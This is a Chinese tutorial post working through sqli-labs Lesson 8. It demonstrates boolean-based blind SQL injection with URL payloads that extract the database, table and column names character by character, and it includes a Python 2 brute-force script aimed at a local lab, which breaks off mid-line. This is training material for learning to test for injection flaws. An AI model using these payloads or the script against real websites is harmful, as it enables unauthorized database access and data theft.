sqli-labs Less-8

本文介绍了如何利用布尔盲注方法在存在SQL注入漏洞的网站中获取数据库信息,包括数据库名、表名、列名以及数据。通过构造特定的SQL查询并观察页面响应,逐步揭示了数据库的第一位字母,然后通过ASCII值判断其他部分,最终成功获取敏感信息。
摘要由CSDN通过智能技术生成

Less-8 Get - Blind -Boolian Based -Single Quotes
1.原页面在这里插入图片描述
2.?id=1在这里插入图片描述
3.?id=1’
在这里插入图片描述
4.尝试布尔盲注
代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和“假”来识别我们判断的是否正确
?id=1’ and (length(database()))>0 --+
在这里插入图片描述
?id=1’ and (length(database()))<0 --+
在这里插入图片描述
5.判断数据库第一位
?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>100–+
第一位是否大于100,是就显示正确,不是就显示错误。
substr()函数:substr(a,b,c)从b位置开始,截取字符串a的c长度ascii()函数:ascii()将某个字符转换为ascii值在这里插入图片描述
判断范围,看看大不大于120
?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>120–+在这里插入图片描述
不大于120 ,缩小范围看看大不大于115

?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>115–+
在这里插入图片描述
?id=1’%20and%20(select%20ascii(substr(database(),1,1)))>114–+
在这里插入图片描述
?id=1’%20and%20(select%20ascii(substr(database(),1,1)))=115–+
在这里插入图片描述
数据库名第一位为115 ,我们查下ASCII对照表,第一位是s。
依次判断数据库剩下的部分。

6.依次猜测表名
?id=1’ and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101–+
在这里插入图片描述
7.依次猜测列名
?id=1’ and (select ascii(substr((select columns_name from information_schema.columns where table_name=’users’ limit 0,1),1,1)))=117–+
在这里插入图片描述

依次猜解效率不高,可以通过编写python 脚本。(搬来了大佬写的脚本 python27运行)

8.获取数据库名和用户:

# -*- coding:utf8 -*-
import requests
url = 'http://127.0.0.1/sqli/Less-8/?id=1%27'  # 这个url要对应你自己的url
payload = " and%20left({d}(),{n})=%27{s}%27%20--%20k"
# 上面两个可以合并为一个,但没有必要,(本来就是我拆开的)
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
         'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']  # 字典
str1 = "You are in..........."  # 就是通过返回的页面里有没有这个字符串来判断盲注有没有成功
# 开始对比database()
database = ''
for i in range(1, 10):  # 相当于C语言的for循环1~9 其实这里应该先判断database有多长的
    for ss in list1:  # 相当于for循环遍历list,然后把每一项赋值给ss
        p = payload.format(d='database', n=i, s=database+ss)  # 把payload里的{d},{n},{s}赋值
        u = requests.get(url+p)  # 访问网页
        # print p
        if str1 in u.content:  # 如果str在网页内容里面
            database += ss
            print u"正在对比database第", i, u"个字符",
            print database
            break
print u"对比成功,database为:", database
# 开始对比user()#user也是同理
user = ''
for i in range(1, 20):
    for ss in list1:
        p = payload.format(d='user', n=i, s=</
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值